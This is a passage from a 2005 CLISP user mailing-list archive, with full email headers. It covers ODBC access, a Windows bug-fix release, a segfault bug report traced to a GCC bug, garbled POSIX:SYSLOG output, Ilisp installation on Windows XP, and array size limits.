to interface CLISP and ODBC? > > A student of mine just finished this. He downloaded the code from > Andreas Thiele that relies mostly on the FFI package. When I get the > time I am going to go over his code in more detail to get a better > understanding. I suppose you want me to put in a link to Andreas' > page too. we do link to him. did your student have to make a lot of changes? -- Sam Steingold (http://www.podval.org/~sds) running w2k Shady characters are often very bright. From A.Nuzzo@motorola.com Thu May 05 05:54:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DTfrW-0006ej-VK for clisp-list@lists.sourceforge.net; Thu, 05 May 2005 05:53:54 -0700 Received: from motgate8.mot.com ([129.188.136.8]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DTfrU-00037F-6a for clisp-list@lists.sourceforge.net; Thu, 05 May 2005 05:53:54 -0700 Received: from il06exr01.mot.com (il06exr01.mot.com [129.188.137.131]) by motgate8.mot.com (Motorola/Motgate8) with ESMTP id j45CuJut018934 for ; Thu, 5 May 2005 05:56:19 -0700 (MST) Received: from il02exm10.corp.mot.com (il02exm10.corp.mot.com [10.0.111.21]) by il06exr01.mot.com (8.13.1/8.13.0) with ESMTP id j45Cv4AE002069 for ; Thu, 5 May 2005 07:57:04 -0500 (CDT) Received: by il02exm10 with Internet Mail Service (5.5.2657.72) id ; Thu, 5 May 2005 07:53:48 -0500 Message-ID: From: Nuzzo Art-CINT116 To: "'clisp-list@lists.sourceforge.net'" X-Mailer: Internet Mail Service (5.5.2657.72) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] FW: [SourceForge.net Release] clisp : clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 5 05:55:38 2005 X-Original-Date: Thu, 5 May 2005 07:53:38 -0500 This may seem like a odd question but was a new version of clisp released yesterday? I received a Sourceforge notification (dated 2005-05-04) stating that a new version was released but if I follow the link the newest version on Sourceforge is 2.33.2 dated 2004-06-02. What am I missing here? Thanks, Art Nuzzo a.nuzzo@motorola.com > -----Original Message----- > From: Nobody [mailto:nobody@projects.sourceforge.net] On > Behalf Of SourceForge.net > Sent: Wednesday, May 04, 2005 11:13 AM > To: noreply@sourceforge.net > Subject: [SourceForge.net Release] clisp : clisp > > > Project: CLISP - an ANSI Common Lisp (clisp) > Package: clisp > Date : 2005-05-04 12:12 > > Project "CLISP - an ANSI Common Lisp" ('clisp') has released > the new version of package 'clisp'. You can download it from > SourceForge.net by following this > link: > or browse Release Notes and ChangeLog by visiting this link: You receive this email because you requested to be notified when new versions of this package were released. If you don't wish to be notified in the future, please login to SourceForge.net and click this link: If you lost your SourceForge.net login name or password, refer to this document: Note that you may receive this message indirectly via one of your mailing list subscriptions. Please review message headers before reporting unsolicited mailings. From sds@gnu.org Thu May 05 06:42:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DTgd0-0003PK-EO for clisp-list@lists.sourceforge.net; Thu, 05 May 2005 06:42:58 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DTgcy-0001CJ-KT for clisp-list@lists.sourceforge.net; Thu, 05 May 2005 06:42:58 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j45DgRvU025822; Thu, 5 May 2005 09:42:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Nuzzo Art-CINT116 Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Nuzzo Art-CINT's message of "Thu, 5 May 2005 07:53:38 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Nuzzo Art-CINT116 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FW: [SourceForge.net Release] clisp : clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 5 06:43:45 2005 X-Original-Date: Thu, 05 May 2005 09:42:12 -0400 > * Nuzzo Art-CINT116 [2005-05-05 07:53:38 -0500]: > > This may seem like a odd question but was a new version of clisp > released yesterday? no. > I received a Sourceforge notification (dated 2005-05-04) stating that > a new version was released but if I follow the link the newest version > on Sourceforge is 2.33.2 dated 2004-06-02. a new bug-fix build for w32 was released. -- Sam Steingold (http://www.podval.org/~sds) running w2k Isn't "Microsoft Works" an advertisement lie? From doukas@gegentakt.com Thu May 05 09:10:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DTivi-0003pU-I9 for clisp-list@lists.sourceforge.net; Thu, 05 May 2005 09:10:26 -0700 Received: from mail5.netbeat.de ([193.254.185.34]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1DTivh-0005Mr-6z for clisp-list@lists.sourceforge.net; Thu, 05 May 2005 09:10:26 -0700 Received: (qmail 6824 invoked from network); 5 May 2005 16:10:20 -0000 Received: from xdsl-81-173-156-232.netcologne.de (HELO ?10.0.0.2?) (81.173.156.232) by mail5.netbeat.de with SMTP; 5 May 2005 16:10:20 -0000 Message-ID: <427A4594.5060107@gegentakt.com> From: Theo Doukas User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Bug report: CLISP crashes with segfault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 5 09:11:39 2005 X-Original-Date: Thu, 05 May 2005 18:11:00 +0200 Hi all! This is a bug report. It applies to CLISP 2.33.2. Short version: When eval'ing (print 1 2), CLISP crashes with a segmentation fault. A detailed description follows. Platform / Setup: ================= My system is i386-Debian (woody). The compiler and C library are stock debian, the kernel I compiled myself: Linux 2.4.27 i686 unknown gcc version 2.95.4 20011002 (Debian prerelease) GNU C Library stable release version 2.2.5 The source was downloaded on Wed May 4 2005, from http://prdownloads.sourceforge.net/clisp/clisp-2.33.2.tar.bz2?download . Please see below for the output of "clisp --version". Additionally I compiled and installed libsigsegv-2.2, which is not part of the debian stable release. Problem description: ==================== 1. When I do a clean build like this: # ./configure --build build it will not complete, because CLISP will crash during the testsuite. The last lines of output are: (PRINT 1 2) *** - handle_fault error2 ! address = 0xc0000082 not in [0x68025d58,0x68084000) ! SIGSEGV cannot be cured. Fault address = 0xc0000082. make[1]: *** [tests] Segmentation fault Further investigation: # cd build # ./lisp.run -M lispinit.mem (CLISP starts ok; then, at the repl:) [1]> (print 1 2) *** - handle_fault error2 ! address = 0xc0000082 not in [0x68056438,0x68084000) ! SIGSEGV cannot be cured. Fault address = 0xc0000082. Segmentation fault The version output from this binary is: # ./lisp.run --version WARNING: No installation directory specified. Please try: ./lisp.run -B /usr/local/lib/clisp GNU CLISP 2.33.2 (2004-06-02) (built 2005-05-05 17:15:50) Software: GNU C 2.95.4 20011002 (Debian prerelease) ANSI C program Features: (CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Installation directory: *** - SYSTEM::LIB-DIRECTORY: library directory is not known, use a command line option to specify it 2. However, when I do a debug build: # ./configure --with-debug --build build-g the testsuite completes ok, and # cd build-g # ./lisp-run -M lispinit.mem [1]> (print 1 2) *** - PRINT: argument 2 is not a STREAM Break 1 [2]> behaves correctly. The version output from the debug binary is: # ./lisp.run --version STACK depth: 16359 SP depth: 67110005 WARNING: No installation directory specified. Please try: ./lisp.run -B /usr/local/lib/clisp GNU CLISP 2.33.2 (2004-06-02) (built 2005-05-05 17:36:44) Software: GNU C 2.95.4 20011002 (Debian prerelease) ANSI C program Features [SAFETY=3]: (CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER CLISP-DEBUG SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Installation directory: *** - SYSTEM::LIB-DIRECTORY: library directory is not known, use a command line option to specify it ---- Any help would be greatly appreciated. Best regards, Theo Doukas. From sds@gnu.org Thu May 05 09:33:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DTjIP-0006u3-Fi for clisp-list@lists.sourceforge.net; Thu, 05 May 2005 09:33:53 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DTjIJ-0004l0-PA for clisp-list@lists.sourceforge.net; Thu, 05 May 2005 09:33:53 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j45GWnt0020997; Thu, 5 May 2005 12:32:55 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Theo Doukas Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <427A4594.5060107@gegentakt.com> (Theo Doukas's message of "Thu, 05 May 2005 18:11:00 +0200") References: <427A4594.5060107@gegentakt.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Theo Doukas Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Bug report: CLISP crashes with segfault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 5 09:34:52 2005 X-Original-Date: Thu, 05 May 2005 12:32:35 -0400 > * Theo Doukas [2005-05-05 18:11:00 +0200]: > > Short version: When eval'ing (print 1 2), CLISP crashes with a > segmentation fault. known GCC bug, fixed in version 3. http://sourceforge.net/tracker/index.php?func=detail&aid=785605&group_id=1355&atid=101355 -- Sam Steingold (http://www.podval.org/~sds) running w2k We are born naked, wet, and hungry. Then things get worse. From pjb@informatimago.com Fri May 06 01:43:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DTyQF-0005oy-PI for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 01:42:59 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DTyQD-0006Q4-QH for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 01:42:59 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 481EA5833D; Fri, 6 May 2005 10:42:43 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8DFFE582FA; Fri, 6 May 2005 10:42:41 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7620210FBF3; Fri, 6 May 2005 10:42:41 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: 8bit Message-Id: <20050506084241.7620210FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.2 required=5.0 tests=AWL,BAYES_00, UPPERCASE_50_75,USER_IN_WHITELIST autolearn=no version=3.0.1 X-Spam-Level: X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_TILDE BODY: Text interparsed with ~ 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_POWER BODY: Text interparsed with ^ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.9 UPPERCASE_50_75 message body is 50-75% uppercase -0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] POSIX:SYSLOG logs garbage. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 01:43:43 2005 X-Original-Date: Fri, 6 May 2005 10:42:41 +0200 (CEST) I'm trying to use POSIX:SYSLOG as: (posix:syslog 3 176 "%s" (format nil "[~A] ~A" "Hello" "World")) Here is what I get in /var/log/messages: May 6 10:36:45 thalassa ^VL^\^H0^E[16830]: ÈÛÿ¿\203 ^G^H~g* ^VL^\^H (I expected: May 6 10:36:45 thalassa TEST[16830]: [Hello] World ) What's wrong? [7]> (defun lsencoding () (format t "~%~{~32A ~A~%~}~%" (list 'custom:*deFAULT-FILE-ENCODING* CUSTOM:*DEFAULT-FILE-ENCODING* 'CUSTOM:*FOREIGN-ENCODING* CUSTOM:*FOREIGN-ENCODING* 'CUSTOM:*MISC-ENCODING* CUSTOM:*MISC-ENCODING* 'CUSTOM:*PATHNAME-ENCODING* CUSTOM:*PATHNAME-ENCODING* 'CUSTOM:*TERMINAL-ENCODING* CUSTOM:*TERMINAL-ENCODING* 'SYSTEM::*HTTP-ENCODING* SYSTEM::*HTTP-ENCODING*))) LSENCODING [8]> (lsencoding) *DEFAULT-FILE-ENCODING* # *FOREIGN-ENCODING* # *MISC-ENCODING* # *PATHNAME-ENCODING* # *TERMINAL-ENCODING* # *HTTP-ENCODING* # NIL [9]> (posix:openlog "TEST" :pid t :nowait t :facility 176) [10]> (posix:syslog 3 176 "%s" (format nil "[~A] ~A" "Hello" "World")) [11]> (load "~/.common.lisp") T [12]> (com.informatimago.pjb:print-bug-report-info) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.33.83 (2005-03-14) (built 3323445155) (memory 3323446250)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* (:COM.INFORMATIMAGO.PJB IT.BESE.ARNESI.MOPP::HAVE-MOP :ASDF :REGEXP :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) NIL -- __Pascal Bourguignon__ http://www.informatimago.com/ You're always typing. Well, let's see you ignore my sitting on your hands. From jrs.idx@ntlworld.com Fri May 06 03:13:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DTzps-0006fQ-9b for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 03:13:32 -0700 Received: from smtpout16.mailhost.ntl.com ([212.250.162.16] helo=mta08-winn.mailhost.ntl.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DTzpq-0008Qo-EC for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 03:13:32 -0700 Received: from aamta05-winn.mailhost.ntl.com ([212.250.162.8]) by mta08-winn.mailhost.ntl.com with ESMTP id <20050506101314.BXOZ21532.mta08-winn.mailhost.ntl.com@aamta05-winn.mailhost.ntl.com> for ; Fri, 6 May 2005 11:13:14 +0100 Received: from cpc2-stkp3-5-0-cust147.manc.cable.ntl.com ([82.4.25.147]) by aamta05-winn.mailhost.ntl.com with ESMTP id <20050506101314.MFYG1280.aamta05-winn.mailhost.ntl.com@cpc2-stkp3-5-0-cust147.manc.cable.ntl.com> for ; Fri, 6 May 2005 11:13:14 +0100 From: John Sampson X-Mailer: The Bat! (v3.0.1.33) Home Reply-To: John Sampson X-Priority: 3 (Normal) Message-ID: <1127694.20050506111312@ntlworld.com> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Ilisp in Windows XP Home with SP2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 03:14:16 2005 X-Original-Date: Fri, 6 May 2005 11:13:12 +0100 Hello, I am trying to install this according to the instructions on the page in the Common Lisp Cookbook that is available on the Internet. However, although I have installed Clisp and Emacs apparently successfully, Ilisp does not install. When running icompile.bat, feedback messages flash past and disappear into the night. I am hampered by not being able to capture scrolling 'DOS' console output in Windows XP. Is there a way of doing this? -- Best regards, John Sampson From hin@van-halen.alma.com Fri May 06 05:11:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DU1gI-0000iT-0D for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 05:11:46 -0700 Received: from carbine.dsl.net ([65.84.81.3]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DU1gG-0000Gq-7M for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 05:11:45 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by carbine.dsl.net (Postfix) with ESMTP id 08E45101FA2 for ; Fri, 6 May 2005 08:11:40 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id j46CBdv2008096 for ; Fri, 6 May 2005 08:11:39 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id j46CBdDM008093; Fri, 6 May 2005 08:11:39 -0400 Message-Id: <200505061211.j46CBdDM008093@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] 4MB limit on strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 05:13:03 2005 X-Original-Date: Fri, 6 May 2005 08:11:39 -0400 I'm doing some DNA sequence manipulation in CLISP and encountering a 4MB size limit on strings. Is there a way around this? I want to do operations like concatentate, substring, etc. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Fri May 06 07:11:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DU3Xq-0004QM-VZ for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 07:11:10 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DU3Xn-0001ZA-Eb for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 07:11:10 -0700 Received: from 65-78-20-170.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.20.170) by smtp04.mrf.mail.rcn.net with ESMTP; 06 May 2005 10:11:06 -0400 To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200505061211.j46CBdDM008093@van-halen.alma.com> (John K. Hinsdale's message of "Fri, 6 May 2005 08:11:39 -0400") References: <200505061211.j46CBdDM008093@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: 4MB limit on strings? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 07:12:12 2005 X-Original-Date: Fri, 06 May 2005 10:10:29 -0400 > * John K. Hinsdale [2005-05-06 08:11:39 -0400]: > > I'm doing some DNA sequence manipulation in CLISP and encountering a > 4MB size limit on strings. Is there a way around this? I want to do > operations like concatentate, substring, etc. ARRAY-TOTAL-SIZE-LIMIT is a hard limit, there is no way around it. Its value depends on your CPU: 32-bit: 2^24-1 (16MB) 64-bit: 2^32-1 (4GB) there is no reason for CLISP not to support 2^48 fixnums on 64-bit platforms, see -- Sam Steingold (http://www.podval.org/~sds) running w2k OK, so you're a Ph.D. Just don't touch anything. From sds@gnu.org Fri May 06 07:12:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DU3Z8-00058X-Ko for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 07:12:30 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DU3Z7-0001yb-4T for clisp-list@lists.sourceforge.net; Fri, 06 May 2005 07:12:30 -0700 Received: from 65-78-20-170.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.20.170) by smtp04.mrf.mail.rcn.net with ESMTP; 06 May 2005 10:12:28 -0400 To: clisp-list@lists.sourceforge.net, John Sampson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1127694.20050506111312@ntlworld.com> (John Sampson's message of "Fri, 6 May 2005 11:13:12 +0100") References: <1127694.20050506111312@ntlworld.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, John Sampson Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Ilisp in Windows XP Home with SP2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 6 07:14:08 2005 X-Original-Date: Fri, 06 May 2005 10:11:50 -0400 > * John Sampson [2005-05-06 11:13:12 +0100]: > > I am hampered by not being able to capture scrolling 'DOS' console > output in Windows XP. Is there a way of doing this? start -> settings -> control panel -> console -- 